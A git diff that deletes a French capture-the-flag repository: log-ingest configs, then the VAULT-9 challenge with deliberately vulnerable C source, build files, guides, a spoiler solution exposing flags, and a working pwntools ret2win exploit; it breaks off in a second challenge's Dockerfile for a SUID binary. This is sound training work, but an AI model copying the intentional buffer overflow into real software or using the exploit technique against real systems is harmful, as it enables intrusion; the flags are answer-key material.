-{"@timestamp":"2026-03-15T12:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf b/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf deleted file mode 100644 index eb7fc9e..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf +++ /dev/null @@ -1,46 +0,0 @@ -input { - file { - path => "/opt/ctf-logs-src/*.json" - start_position => "beginning" - sincedb_path => "/dev/null" - codec => json_lines - mode => "read" - ecs_compatibility => "disabled" - } -} - -filter { - date { - match => ["@timestamp", "ISO8601"] - target => "@timestamp" - } - - mutate { - add_field => { - "environment" => "corp.local" - "domain" => "CORP" - "ctf_scenario" => "DFIR-Incident-2024-03-15" - } - } - - # Mapping hôte → IP - if [host] == "WIN-ACCT01" { - mutate { add_field => { "host_ip" => "192.168.10.45" } } - } - if [host] == "APP-SRV01" { - mutate { add_field => { "host_ip" => "192.168.10.52" } } - } - if [host] == "DC01" { - mutate { add_field => { "host_ip" => "192.168.10.10" } } - } -} - -output { - elasticsearch { - hosts => ["http://localhost:9200"] - index => "dfir-incident-%{+YYYY.MM.dd}" - action => "index" - ilm_enabled => false - ecs_compatibility => "disabled" - } -} diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf b/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf deleted file mode 100644 index 34cf7c7..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf +++ /dev/null @@ -1,40 +0,0 @@ -[supervisord] -nodaemon=true -logfile=/var/log/supervisord.log -logfile_maxbytes=10MB - -[program:elasticsearch] -command=/usr/share/elasticsearch/bin/elasticsearch -user=elasticsearch -environment=ES_JAVA_OPTS="-Xms512m -Xmx512m" -stdout_logfile=/var/log/elasticsearch.log -stderr_logfile=/var/log/elasticsearch.log -autorestart=true -priority=10 -startretries=3 - -[program:kibana] -command=/usr/share/kibana/bin/kibana -user=kibana -stdout_logfile=/var/log/kibana.log -stderr_logfile=/var/log/kibana.log -autorestart=true -priority=20 -startsecs=30 - -[program:inject-logs] -command=/usr/bin/python3 /opt/inject_logs.py -user=root -stdout_logfile=/var/log/inject-logs.log -stderr_logfile=/var/log/inject-logs.log -autorestart=false -startsecs=0 -priority=30 - -[program:kibana-init] -command=/opt/import_kibana.sh -stdout_logfile=/var/log/kibana-init.log -stderr_logfile=/var/log/kibana-init.log -autorestart=false -startsecs=5 -priority=40 diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore deleted file mode 100644 index 8e72eb0..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore +++ /dev/null @@ -1,6 +0,0 @@ -solution/ -docs/ -report/ -README.md -docker-compose.yml -*.md diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore deleted file mode 100644 index 79e2095..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -# Secrets reels du challenge -- ne JAMAIS committer (voir challenge.env.example) -challenge.env - -# Artefacts generes au build -- ne pas committer. -secret.h -flag1.txt -flag2.txt -vault -*.o -__pycache__/ diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile b/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile deleted file mode 100644 index 8d9cc03..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile +++ /dev/null @@ -1,41 +0,0 @@ -# VAULT-9 -- Red Team 3 (reverse + exploitation binaire) -# Build : le binaire est compile sans protections modernes (no PIE, -# no stack canary) pour rendre le ret2win faisable en intermediaire. -FROM debian:12-slim - -RUN apt-get update && \ - apt-get install -y --no-install-recommends \ - gcc libc6-dev socat python3 && \ - rm -rf /var/lib/apt/lists/* - -RUN useradd -m -s /usr/sbin/nologin ctf - -# Secrets fournis au build (priorite sur setup/challenge.env). Vides par -# defaut -> gen_secret.py utilise challenge.env ou des placeholders. -ARG LICENSE="" -ARG FLAG1="" -ARG FLAG2="" -ARG XOR_KEY="" - -WORKDIR /build -COPY challenge/vault.c ./vault.c -COPY setup/ ./setup/ - -# Genere secret.h + flags, compile, installe dans /challenge. -RUN LICENSE="$LICENSE" FLAG1="$FLAG1" FLAG2="$FLAG2" XOR_KEY="$XOR_KEY" \ - python3 setup/gen_secret.py && \ - gcc -fno-stack-protector -no-pie -fno-pie -O0 -w -o vault vault.c && \ - mkdir -p /challenge && \ - cp vault /challenge/vault && \ - cp flag1.txt flag2.txt /challenge/ && \ - chmod 0555 /challenge/vault && \ - chmod 0444 /challenge/flag1.txt /challenge/flag2.txt && \ - rm -rf /build - -COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh -RUN chmod +x /usr/local/bin/entrypoint.sh - -WORKDIR /challenge -EXPOSE 9003 -USER ctf -ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md b/challenges/1-Red-Team-Binary-Vault-Jakub/README.md deleted file mode 100644 index 25d9fca..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# 🔴 Red Team 3 — VAULT-9 (Reverse & Exploitation binaire) - -### Challenge Jakub — niveau intermédiaire - -Premier challenge de **pwn** de la plateforme RootMeUp : un binaire Linux à -rétro-ingénier puis à exploiter. Conçu pour combler l'écart entre les Blue Team -(accessibles) et les Red Team 1 & 2 (Linux/web). - -## 📌 Documentation - -- Guide joueur : [`docs/USER_GUIDE.md`](docs/USER_GUIDE.md) -- Guide admin / déploiement : [`docs/ADMIN_DEPLOYMENT.md`](docs/ADMIN_DEPLOYMENT.md) -- Solution (⚠️ spoilers) : [`solution/SOLUTION.md`](solution/SOLUTION.md) - -## 🎯 Résumé - -| | | -|---|---| -| Catégorie | Red Team — Reverse + Exploitation binaire | -| Difficulté | Intermédiaire | -| Flags | 2 (progressifs) | -| Accès | `nc ` (instance Docker par équipe) | -| Compétences | reverse (XOR), débordement de tampon, ret2win, pwntools | - -## 🧩 Déroulé - -1. **Reverse** — la console vérifie une licence obfusquée en XOR (`check_license`). Le joueur récupère la clé → **flag 1**. -2. **Exploitation** — le terminal de maintenance déborde `buf[64]` (lecture de 200 octets). Le joueur détourne l'exécution (`ret2win`) vers la fonction cachée `vault()` → **flag 2**. - -## 📁 Structure - -``` -3-Red-Team-Binary-Vault/ -├── README.md -├── Dockerfile ← build + service socat (port 9003) -├── docker-compose.yml ← test local -├── docker-entrypoint.sh -├── challenge/ -│ └── vault.c ← source du binaire (sans secret en clair) -├── setup/ -│ └── gen_secret.py ← génère secret.h + flags au build (⚠️ spoiler) -├── docs/ -│ ├── USER_GUIDE.md -│ └── ADMIN_DEPLOYMENT.md -├── solution/ -│ ├── SOLUTION.md ← ⚠️ spoilers -│ └── exploit.py ← exploit pwntools (testé) -└── report/ - └── report_template.md -``` - -## ⚙️ Build rapide - -```bash -docker compose up --build -d # écoute sur 9003 -nc 127.0.0.1 9003 -docker compose down -``` - -> Artefacts générés (`secret.h`, `flag*.txt`, `vault`) : ignorés par git, jamais committés. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c b/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c deleted file mode 100644 index 2b0aa86..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c +++ /dev/null @@ -1,98 +0,0 @@ -/* - * VAULT-9 :: Console d'administration - * Challenge Red Team 3 (intermediaire) - RootMeUp - * - * Deux etapes : - * 1. Reverse : contourner la verification de licence (obfusquee en XOR). - * 2. Exploitation : debordement de tampon (ret2win) vers vault(). - * - * secret.h est genere au build par setup/gen_secret.py : il contient - * la licence encodee en XOR (jamais le texte en clair) afin que `strings` - * sur le binaire distribue ne revele pas la solution. - */ -#include -#include -#include -#include -#include -#include "secret.h" /* LICENSE_ENC[], LICENSE_LEN, XOR_KEY */ - -char flag1[128]; -char flag2[128]; - -static void load_flag(const char *path, char *dst, size_t n) -{ - int fd = open(path, O_RDONLY); - if (fd < 0) { strncpy(dst, "FLAG_MANQUANT", n); dst[n - 1] = 0; return; } - ssize_t r = read(fd, dst, n - 1); - if (r < 0) r = 0; - dst[r] = 0; - char *nl = strchr(dst, '\n'); - if (nl) *nl = 0; - close(fd); -} - -static void setup(void) -{ - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); - load_flag("/challenge/flag1.txt", flag1, sizeof(flag1)); - load_flag("/challenge/flag2.txt", flag2, sizeof(flag2)); -} - -/* Etape 2 : fonction "gagnante" jamais atteinte par le flux normal. */ -void vault(void) -{ - puts(""); - puts("[+] Coffre deverrouille -- acces au module memoire protege accorde."); - printf("[+] flag 2: %s\n", flag2); - fflush(stdout); - _exit(0); -} - -/* Etape 1 : la licence attendue est stockee XORee avec XOR_KEY. */ -static int check_license(const char *input) -{ - if (strlen(input) != LICENSE_LEN) - return 0; - for (size_t i = 0; i < LICENSE_LEN; i++) { - if ((unsigned char)(input[i] ^ XOR_KEY) != LICENSE_ENC[i]) - return 0; - } - return 1; -} - -/* Debordement volontaire : read() ecrit jusqu'a 200 octets dans buf[64]. */ -static void access_terminal(void) -{ - char buf[64]; - puts(""); - puts("=== Terminal de maintenance ==="); - printf("Commande > "); - read(0, buf, 200); - printf("Commande '%s' non reconnue.\n", buf); -} - -int main(void) -{ - setup(); - - char license[128]; - puts("========================================"); - puts(" VAULT-9 :: Console d'administration "); - puts("========================================"); - printf("Cle de licence > "); - if (!fgets(license, sizeof(license), stdin)) - return 0; - license[strcspn(license, "\r\n")] = 0; - - if (check_license(license)) { - puts("[+] Licence valide. Bienvenue, administrateur."); - printf("[+] Preuve d'acces (flag 1): %s\n", flag1); - access_terminal(); - } else { - puts("[-] Licence invalide. Acces refuse."); - } - return 0; -} diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml deleted file mode 100644 index 311f9fa..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml +++ /dev/null @@ -1,17 +0,0 @@ -# Deploiement local pour tests. En production, le plugin -# CTFdDockerContainersPlugin gere l'allocation dynamique du port. -services: - vault: - build: - context: . - # Optionnel : surcharge les secrets via l'environnement du shell. - # Sinon, gen_secret.py lit setup/challenge.env (voir .env.example). - args: - LICENSE: ${LICENSE:-} - FLAG1: ${FLAG1:-} - FLAG2: ${FLAG2:-} - XOR_KEY: ${XOR_KEY:-} - container_name: rt3-vault - ports: - - "9003:9003" - restart: unless-stopped diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh deleted file mode 100644 index 24156ce..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -# Sert le binaire vulnerable : une instance par connexion TCP. -set -e -PORT="${CHALLENGE_PORT:-9003}" -echo "[*] VAULT-9 en ecoute sur le port ${PORT}" -exec socat -T120 TCP-LISTEN:"${PORT}",reuseaddr,fork EXEC:"/challenge/vault",stderr diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index 9ad0496..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,114 +0,0 @@ -# Guide admin / déploiement — VAULT-9 (Red Team 3) - -## Résumé technique - -| Élément | Valeur | -|---|---| -| Type CTFd | Container (plugin CTFdDockerContainersPlugin) | -| Port interne | `9003` (TCP, servi par `socat`, une instance/connexion) | -| Fichier à joindre au challenge | le binaire **`vault`** (voir extraction ci-dessous) | -| Flags | 2 — voir `solution/SOLUTION.md` | -| Compilation | `-fno-stack-protector -no-pie -fno-pie -O0` | - -Les secrets (licence, flags) sont générés au build par `setup/gen_secret.py` et **ne sont pas embarqués** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne révèle donc rien. - -> ✅ **Validé bout-en-bout en conteneur Docker le 20/07/2026** : build OK, -> service accessible sur 9003, exploit `solution/exploit.py` récupère les 2 flags. - -## Fournir les flags (ne PAS les committer) - -Les vrais flags **ne sont plus stockés dans le dépôt**. Avant de builder, fournissez-les -par l'un des deux moyens (l'environnement a priorité sur le fichier) : - -**Option A — fichier `challenge.env` (recommandé)** -```bash -cd challenges/3-Red-Team-Binary-Vault/setup -cp challenge.env.example challenge.env -$EDITOR challenge.env # renseigner LICENSE, FLAG1, FLAG2 -``` -`challenge.env` est gitignoré : il ne partira jamais dans git. Il est inclus dans le -contexte de build et lu automatiquement par `gen_secret.py`. - -**Option B — build-args / variables d'environnement** -```bash -docker build -t rt3-vault \ - --build-arg LICENSE='...' --build-arg FLAG1='RM{...}' --build-arg FLAG2='RM{...}' . -# ou, avec docker-compose : export FLAG1=... FLAG2=... LICENSE=... puis docker-compose build -``` - -Si aucune source n'est fournie, le build **réussit quand même** mais avec des flags -**placeholders** (`RM{PLACEHOLDER_...}`) et un avertissement — utile pour un test à blanc, -inutilisable en prod. - -> ⚠️ **Rotation** : les flags d'origine ont été committés publiquement avant ce changement. -> Ils restent visibles dans l'historique git. Choisissez de **nouveaux flags** dans -> `challenge.env` (et mettez-les à jour dans CTFd) pour que les anciens deviennent inutiles. - -## Prérequis / pièges courants - -- **Compose v1 vs v2** : `docker compose` (avec espace) n'existe qu'avec le plugin v2. - Sur Kali/Debian, le paquet `docker-compose` (2.40.x) fournit la commande - **`docker-compose`** (avec tiret). Si `docker compose up --build` renvoie - `unknown flag: --build`, utilisez `docker-compose` ou la méthode build/run manuelle ci-dessous. -- **Droits Docker** : si le user n'est pas dans le groupe `docker`, préfixer chaque - commande par `sudo` (sinon `permission denied ... /var/run/docker.sock`). - -## Build & test local - -```bash -cd challenges/3-Red-Team-Binary-Vault -docker-compose up --build -d # ou : docker compose up --build -d (plugin v2) -# le service écoute sur le port 9003 -nc 127.0.0.1 9003 -``` - -Sans Compose (marche partout) : - -```bash -docker build -t rt3-vault . -docker run -d -p 9003:9003 --name rt3-vault rt3-vault -``` - -Test automatique de la solution : - -```bash -# extraire le binaire de l'image dans solution/, puis lancer l'exploit : -docker cp rt3-vault:/challenge/vault solution/vault -cd solution && python3 exploit.py 127.0.0.1 9003 -``` - -Arrêt : - -```bash -docker compose down -``` - -## Extraire le binaire à distribuer - -Le joueur doit télécharger le **même** binaire que celui déployé : - -```bash -docker compose up --build -d -docker cp rt3-vault:/challenge/vault ./vault -docker compose down -``` - -Joindre `./vault` comme fichier du challenge dans CTFd. **Ne jamais** joindre `flag1.txt`, `flag2.txt` ni `secret.h`. - -## Intégration CTFd (plugin conteneurs) - -1. Builder l'image sur l'hôte Docker de la VM (`docker build -t rt3-vault .`). -2. Dans CTFd → challenge de type **Container** : image `rt3-vault`, port interne **9003**. -3. Renseigner les 2 flags (sensibles à la casse), en points progressifs. -4. Joindre le binaire `vault` (fichier téléchargeable). -5. Tester le **Start Instance** avec un compte non-admin (IP + port dynamique alloués par le plugin). - -## Sécurité de déploiement - -- Le conteneur tourne en utilisateur non privilégié `ctf`, `nologin`. -- Le binaire est volontairement vulnérable **mais confiné au conteneur** : aucun accès hôte, pas de shell exposé (le ret2win n'offre qu'un `puts` du flag, pas de RCE arbitraire). -- `socat` limite chaque session (`-T120`, timeout 120 s) pour éviter les connexions pendantes. - -## Modifier les flags / la licence - -Éditer `setup/gen_secret.py` (constantes `LICENSE`, `XOR_KEY`, `FLAG1`, `FLAG2`) puis rebuilder. Penser à régénérer/rejoindre le binaire et à mettre à jour les flags dans CTFd. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index d51b297..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,45 +0,0 @@ -# 🔴 VAULT-9 — Guide du joueur - -**Catégorie :** Red Team — Reverse & Exploitation binaire -**Difficulté :** Intermédiaire -**Flags :** 2 (progressifs) - -## 📖 Contexte - -L'entreprise **Meridian Corp** protège son module mémoire sensible derrière une console d'administration maison, `VAULT-9`. Un binaire de cette console a fuité. Votre équipe doit démontrer qu'il est vulnérable : contourner sa licence, puis en prendre le contrôle pour ouvrir le coffre. - -## 🎯 Objectifs - -1. **Flag 1** — Contourner la vérification de licence du binaire. -2. **Flag 2** — Prendre le contrôle de l'exécution pour atteindre la routine qui ouvre le coffre. - -Format des flags : `RM{...}` (sensible à la casse). - -## 🔌 Accès - -1. Téléchargez le binaire **`vault`** fourni avec le challenge dans CTFd. -2. Démarrez l'instance (**Start Instance**) : vous obtenez une **IP** et un **port**. -3. Connectez-vous au service : - - ```bash - nc - ``` - -Le binaire téléchargé est **identique** à celui qui tourne sur l'instance : analysez-le en local, exploitez-le à distance. - -## 🧰 Outils suggérés - -- **Reverse** : `Ghidra`, `IDA Free`, `radare2`/`Cutter`, ou simplement `objdump -d vault`. -- **Exploitation** : `pwntools` (Python), `gdb` + `pwndbg`/`gef`. -- **Recon** : `file vault`, `checksec vault`, `strings vault`. - -## 🪜 Pistes (sans spoiler) - -- Étape 1 : commencez par `file` et `checksec`. Cherchez la fonction qui valide la licence. Quelle **opération** est appliquée à votre saisie avant la comparaison ? La donnée de référence est en clair dans le binaire… mais transformée. -- Étape 2 : une fois « administrateur », le terminal de maintenance lit votre entrée. Combien d'octets accepte-t-il vraiment vs la taille du tampon ? Existe-t-il une fonction **intéressante jamais appelée** ? - -## ✅ Validation - -Soumettez chaque flag dans CTFd. Le flag 1 se trouve dès l'accès administrateur ; le flag 2 nécessite de détourner l'exécution. - -Bon courage — et n'oubliez pas : *ne codez jamais un secret en dur.* 😉 diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md b/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md deleted file mode 100644 index 2eb497e..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md +++ /dev/null @@ -1,35 +0,0 @@ -# Rapport — VAULT-9 (Red Team 3) - -- **Équipe :** ______________________ -- **Date :** ______________________ - -## Reconnaissance - -- Sortie de `file vault` : ______________________ -- Sortie de `checksec vault` : ______________________ - -## Étape 1 — Reverse de la licence - -- Fonction identifiée : ______________________ -- Transformation appliquée à l'entrée : ______________________ -- Licence récupérée : ______________________ -- **Flag 1 :** ______________________ - -## Étape 2 — Exploitation - -- Fonction vulnérable : ______________________ -- Taille du tampon / octets lus : ______________________ -- Offset jusqu'à l'adresse de retour : ______________________ -- Fonction cible (ret2win) et son adresse : ______________________ -- Remarque sur l'alignement de pile : ______________________ -- **Flag 2 :** ______________________ - -## Exploit - -``` -(coller le script ou les commandes utilisées) -``` - -## Remédiation proposée - -- ______________________ (ex : canari de pile, PIE, ne pas coder de secret en dur, `read` borné) diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example deleted file mode 100644 index d343ac8..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example +++ /dev/null @@ -1,22 +0,0 @@ -# ===================================================================== -# Modele de configuration des secrets du challenge VAULT-9. -# -# 1. Copiez ce fichier : cp challenge.env.example challenge.env -# 2. Renseignez les VRAIES valeurs dans challenge.env -# 3. challenge.env est gitignore : il ne sera jamais committe. -# -# Alternative : passer ces valeurs en --build-arg au docker build -# (les variables d'environnement ont priorite sur ce fichier). -# ===================================================================== - -# Licence attendue par l'etape reverse (etape 1) -LICENSE=exemple_a_changer - -# Flag de l'etape reverse (etape 1) -FLAG1=RM{exemple_flag_reverse_a_changer} - -# Flag de l'etape exploitation ret2win (etape 2) -FLAG2=RM{exemple_flag_pwn_a_changer} - -# Cle de XOR mono-octet (0x.. ou decimal). Non sensible, defaut 0x5c. -XOR_KEY=0x5c diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py deleted file mode 100644 index cbc2575..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py +++ /dev/null @@ -1,93 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# gen_secret.py -- generateur mainteneur (execute au build Docker) -# -# Genere secret.h (licence XORee) + flag1.txt / flag2.txt. -# -# Les valeurs sensibles (licence, flags) ne sont PLUS ecrites en dur ici : -# elles proviennent, par ordre de priorite, -# 1. des variables d'environnement (ex: passees en --build-arg), -# 2. du fichier `challenge.env` place a cote de ce script (gitignore), -# 3. a defaut, de placeholders inoffensifs (le build reussit mais les -# flags ne sont pas les vrais -> un avertissement est affiche). -# -# Voir challenge.env.example pour le modele a copier en challenge.env. -# ===================================================================== - -import os -import sys - -SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) -ENV_FILE = os.path.join(SCRIPT_DIR, "challenge.env") - -# Placeholders : PAS les vrais flags. Le build reste fonctionnel pour les -# tests, mais ces valeurs doivent etre remplacees via challenge.env / build-arg. -PLACEHOLDERS = { - "LICENSE": "CHANGEME_license_a_definir", - "FLAG1": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "FLAG2": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "XOR_KEY": "0x5c", -} - - -def load_env_file(path): - """Parse simple d'un fichier KEY=VALUE (lignes vides / # ignorees).""" - values = {} - if not os.path.isfile(path): - return values - with open(path, encoding="utf-8") as f: - for line in f: - line = line.strip() - if not line or line.startswith("#") or "=" not in line: - continue - key, _, val = line.partition("=") - values[key.strip()] = val.strip().strip('"').strip("'") - return values - - -def resolve(name, file_values): - """env var (non vide) > challenge.env > placeholder.""" - env = os.environ.get(name) - if env: - return env, "env" - if file_values.get(name): - return file_values[name], "challenge.env" - return PLACEHOLDERS[name], "placeholder" - - -def main(): - file_values = load_env_file(ENV_FILE) - - license_, s1 = resolve("LICENSE", file_values) - flag1, s2 = resolve("FLAG1", file_values) - flag2, s3 = resolve("FLAG2", file_values) - xor_raw, _ = resolve("XOR_KEY", file_values) - xor_key = int(xor_raw, 0) & 0xFF # accepte 0x.. ou decimal - - if "placeholder" in (s1, s2, s3): - print("[gen_secret] /!\\ ATTENTION : valeurs par defaut (placeholders) " - "utilisees. Definissez challenge.env ou passez les build-args " - "(LICENSE, FLAG1, FLAG2). Voir challenge.env.example.", - file=sys.stderr) - - enc = ", ".join(str(b ^ xor_key) for b in license_.encode()) - with open("secret.h", "w") as f: - f.write("#ifndef SECRET_H\n#define SECRET_H\n") - f.write("/* Genere par gen_secret.py -- ne pas editer a la main. */\n") - f.write(f"#define XOR_KEY 0x{xor_key:02x}\n") - f.write(f"#define LICENSE_LEN {len(license_)}\n") - f.write(f"static const unsigned char LICENSE_ENC[] = {{ {enc} }};\n") - f.write("#endif\n") - - with open("flag1.txt", "w") as f: - f.write(flag1 + "\n") - with open("flag2.txt", "w") as f: - f.write(flag2 + "\n") - - print(f"[gen_secret] secret.h + flags generes " - f"(licence:{s1}, flag1:{s2}, flag2:{s3}).") - - -if __name__ == "__main__": - main() diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md deleted file mode 100644 index 2750c96..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md +++ /dev/null @@ -1,71 +0,0 @@ -# Solution — VAULT-9 (Red Team 3) ⚠️ SPOILERS - -Challenge intermédiaire en deux étapes : **reverse** puis **exploitation binaire (ret2win)**. - -- **Flag 1** : `RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}` -- **Flag 2** : `RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}` - -Le binaire est compilé **sans canari de pile et sans PIE** (`-fno-stack-protector -no-pie`), ce qui rend le ret2win réalisable au niveau intermédiaire. - -``` -$ checksec vault - Arch: amd64 - RELRO: Partial - Stack: No canary found - NX: enabled - PIE: No PIE (0x400000) -``` - -## Étape 1 — Reverse de la licence - -En désassemblant `check_license()` (Ghidra, IDA, ou `objdump -d`), on voit : -- la longueur attendue est **16** ; -- chaque octet saisi est **XORé avec `0x5C`** puis comparé à un tableau constant `LICENSE_ENC` en `.rodata`. - -La licence est donc `LICENSE_ENC ^ 0x5C`. Récupération rapide : - -```python -enc = [41, 50, 48, 108, 63, 55, 3, 40, 52, 111, 3, 42, 104, 41, 48, 40] -print(bytes(b ^ 0x5C for b in enc).decode()) # -> unl0ck_th3_v4ult -``` - -En saisissant `unl0ck_th3_v4ult`, le programme affiche le **flag 1** et donne accès au « terminal de maintenance ». - -## Étape 2 — Débordement de tampon (ret2win) - -`access_terminal()` lit **200 octets** via `read()` dans `buf[64]` → débordement. - -Cartographie de la pile : - -``` -[ buf : 64 octets ] <- rbp-0x40 -[ rbp sauvegardé : 8 ] -[ adresse de retour : 8 ] <- cible -``` - -Offset jusqu'à l'adresse de retour = **64 + 8 = 72**. - -La fonction `vault()` (jamais appelée par le flux normal) affiche le flag 2. Il suffit de rediriger l'exécution vers elle. Un gadget `ret` est inséré avant l'adresse de `vault()` pour **réaligner la pile sur 16 octets** (sinon `movaps` dans `printf`/`puts` peut faire crasher). - -``` -payload = b"A"*72 + p64(ret_gadget) + p64(vault) -``` - -## Exploit automatisé - -`exploit.py` (pwntools) enchaîne les deux étapes : - -```bash -# récupérer le binaire distribué dans le dossier courant, puis : -python3 exploit.py -``` - -Sortie attendue : - -``` -[+] vault() @ 0x401334 -[+] Flag 1 : RM{r3v3rs3_l3_x0r_c0mm3_un_pr0} -[+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} -``` - -> Testé et validé le 20/07/2026, **en conteneur Docker** : build OK, chaîne complète fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault` @ `0x401334`). Les 2 flags sont récupérés par `exploit.py`. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py deleted file mode 100644 index 4e3d0d1..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# Solution de reference -- VAULT-9 (Red Team 3) /!\ SPOILER -# -# Usage : -# python3 exploit.py -# (necessite le binaire ./vault dans le repertoire courant) -# -# Chaine : -# Etape 1 (reverse) : la licence est stockee XORee avec 0x5C. -# licence = LICENSE_ENC ^ 0x5C = "unl0ck_th3_v4ult" -# Etape 2 (pwn) : debordement de buf[64] dans access_terminal(). -# offset RIP = 64 + 8 (rbp) = 72 -# ret2win vers vault(), precede d'un gadget `ret` -# pour realigner la pile sur 16 octets (movaps). -# ===================================================================== -import sys -from pwn import * - -context.log_level = "info" - -HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" -PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9003 -LICENSE = b"unl0ck_th3_v4ult" - -elf = ELF("./vault") -vault_addr = elf.symbols["vault"] -ret_gadget = next(elf.search(asm("ret"), executable=True)) -log.info("vault() @ %#x", vault_addr) -log.info("ret gadget @ %#x", ret_gadget) - -io = remote(HOST, PORT) - -# --- Etape 1 : licence recuperee par reverse --- -io.sendlineafter(b"licence > ", LICENSE) -io.recvuntil(b"flag 1): ") -flag1 = io.recvline().strip().decode() -log.success("Flag 1 : %s", flag1) - -# --- Etape 2 : ret2win --- -payload = b"A" * 72 # 64 (buf) + 8 (rbp sauvegarde) -payload += p64(ret_gadget) # alignement de pile -payload += p64(vault_addr) # detournement vers vault() -io.sendlineafter(b"Commande > ", payload) - -io.recvuntil(b"flag 2: ") -flag2 = io.recvline().strip().decode() -log.success("Flag 2 : %s", flag2) - -io.close() diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/Dockerfile b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/Dockerfile deleted file mode 100644 index 305039d..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/Dockerfile +++ /dev/null @@ -1,134 +0,0 @@ -# ============================================================================= -# Meridian Capital - Operation SILENT LEDGER -# Red Team post-exploitation CTF instance (single container, 10 flags) -# ============================================================================= - -# --------------------------------------------------------------------------- -# Stage 1: compile the vulnerable SUID "logviewer" binary (F5) -# --------------------------------------------------------------------------- -FROM debian:bookworm-slim AS builder -RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev \ - && rm -rf /var/lib/apt/lists/* -COPY challenge/logviewer.c /src/logviewer.c -RUN mkdir -p /out && gcc -Wall -o /out/logviewer /src/logviewer.c - -# --------------------------------------------------------------------------- -# Stage 2: bake the encrypted loot (vault.zip / final.gpg / pin.hash) so the -# plaintext flags never exist inside the final image layers. -# --------------------------------------------------------------------------- -FROM debian:bookworm-slim AS secrets -RUN apt-get update && 